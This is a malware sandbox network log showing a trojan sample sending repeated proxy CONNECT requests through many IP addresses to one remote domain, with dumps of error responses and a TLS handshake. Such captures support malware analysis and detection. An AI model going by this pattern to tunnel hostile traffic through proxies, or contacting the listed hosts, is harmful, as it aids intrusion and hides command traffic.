Feb 23, 2024 14:28:28.765743017 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:28.853549004 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:28 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
943	192.168.2.8	53070	104.24.193.186	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.766043901 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:28.853847980 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:28 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
944	192.168.2.8	52955	81.250.223.126	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.771981001 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:28.963490963 CET	830	IN	HTTP/1.1 500 Internal Server Error Date: Fri, 23 Feb 2024 13:28:28 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 638 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 5b 6e 6f 20 61 64 64 72 65 73 73 20 67 69 76 65 6e 5d 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at [no address given] to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at heygirlisheeverythingyouwantedinaman.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
945	192.168.2.8	52947	185.101.16.52	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.775343895 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
946	192.168.2.8	52964	141.94.174.6	2450	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.776556969 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.382481098 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.992028952 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
947	192.168.2.8	52999	64.227.106.157	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.780021906 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:28.935650110 CET	327	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Fri, 23 Feb 2024 13:28:28 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
948	192.168.2.8	52987	98.162.25.29	31679	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.781024933 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
949	192.168.2.8	52934	39.99.144.43	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.789310932 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
950	192.168.2.8	51769	120.28.216.147	8082	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.814568996 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:31.882443905 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:34.882699013 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
951	192.168.2.8	51762	148.72.209.174	39458	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.823420048 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:31.882443905 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:34.883735895 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:40.882801056 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
952	192.168.2.8	51804	181.212.45.226	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.825495005 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:31.426645041 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
953	192.168.2.8	53037	98.170.57.249	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.825841904 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
954	192.168.2.8	52944	125.228.143.207	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.826020956 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
955	192.168.2.8	53067	164.92.86.113	64110	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.831872940 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.382481098 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.991934061 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.991843939 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:32.991925955 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:34.882596016 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:36.882536888 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:40.695100069 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:47.991729975 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
956	192.168.2.8	53049	3.127.62.252	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.832732916 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.007093906 CET	152	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 13:28:28 GMT Content-Type: text/plain X-Powered-By: PHP/5.4.45 Server: lighttpd/1.4.16 Content-Length: 0
Feb 23, 2024 14:28:29.016871929 CET	394	OUT	Data Raw: 16 03 03 01 85 01 00 01 81 03 03 65 d8 9d 7c 36 21 3e 27 49 73 f0 56 67 55 cf ff 37 ac f4 d1 08 23 3d bd 76 12 0b de f2 a9 73 87 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: e\|6!>'IsVgU7#=vs*,+0/$#('=<5/.-+(heygirlisheeverythingyouwantedinaman.com#]31VM\11_&nk7%6ydd`8
Feb 23, 2024 14:28:29.187525034 CET	1129	IN	Data Raw: 16 03 03 00 3d 02 00 00 39 03 03 ea 9c 25 de 7e 16 ca 11 be 4c 88 d3 4b 91 e9 7c 62 79 62 19 ab 36 b0 6b 44 4f 57 4e 47 52 44 01 00 c0 30 00 00 11 ff 01 00 01 00 00 0b 00 04 03 00 01 02 00 17 00 00 16 03 03 02 e8 0b 00 02 e4 00 02 e1 00 02 de 30 Data Ascii: =9%~LK\|byb6kDOWNGRD0000*H03110/U(heygirlisheeverythingyouwantedinaman.com0240223132724Z260222132724Z03110/U(heygirlisheeverythingyouwantedinaman.c
Feb 23, 2024 14:28:29.514897108 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 b3 e6 2f 80 91 fe 4b d5 ed 2d be 0b e8 0c 0b dd 00 aa b9 c0 47 02 3e 2d 4e 7e 2b 9e 23 8f d3 3d 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 96 7a 8c 89 ba 3b 34 0e 3a ca 2d 9d 91 86 6c 03 20 b2 ee 0e 08 Data Ascii: %! /K-G>-N~+#=(z;4:-l j*o
Feb 23, 2024 14:28:29.684662104 CET	51	IN	Data Raw: 14 03 03 00 01 01 16 03 03 00 28 83 20 53 11 ae e6 15 8a b2 d9 8f 8a c3 e9 a2 30 c9 45 eb fb 5f d3 5e e6 d6 3d 6a 0d 4d 4a aa 77 11 72 f4 e8 9e b8 20 57 Data Ascii: ( S0E_^=jMJwr W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
957	192.168.2.8	53036	5.9.98.142	3000	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.833084106 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
958	192.168.2.8	53071	45.81.232.17	54393	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.845577955 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.382388115 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.992259026 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:31.194981098 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:33.379453897 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:35.585803986 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
959	192.168.2.8	53134	45.55.57.204	443	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.845877886 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
960	192.168.2.8	52653	132.148.130.78	23836	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.846860886 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:31.882483959 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:34.883744955 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:40.882782936 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
961	192.168.2.8	53137	45.55.57.204	443	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.847970963 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
962	192.168.2.8	53140	45.55.57.204	443	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.849853039 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
963	192.168.2.8	53142	45.55.57.204	443	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.851234913 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
964	192.168.2.8	53095	66.228.35.209	23344	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.859468937 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.272736073 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.695255995 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.398085117 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:31.695185900 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:32.898521900 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:34.194999933 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:36.693334103 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:41.658207893 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
965	192.168.2.8	52620	51.75.126.150	64615	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.863754988 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
966	192.168.2.8	52939	103.49.202.252	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.879987955 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.268872976 CET	343	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.0 (Ubuntu) Date: Fri, 23 Feb 2024 13:28:29 GMT Content-Type: text/html Content-Length: 182 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
967	192.168.2.8	52621	162.214.227.68	57337	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.879991055 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:31.882467031 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:34.883717060 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:40.882802963 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
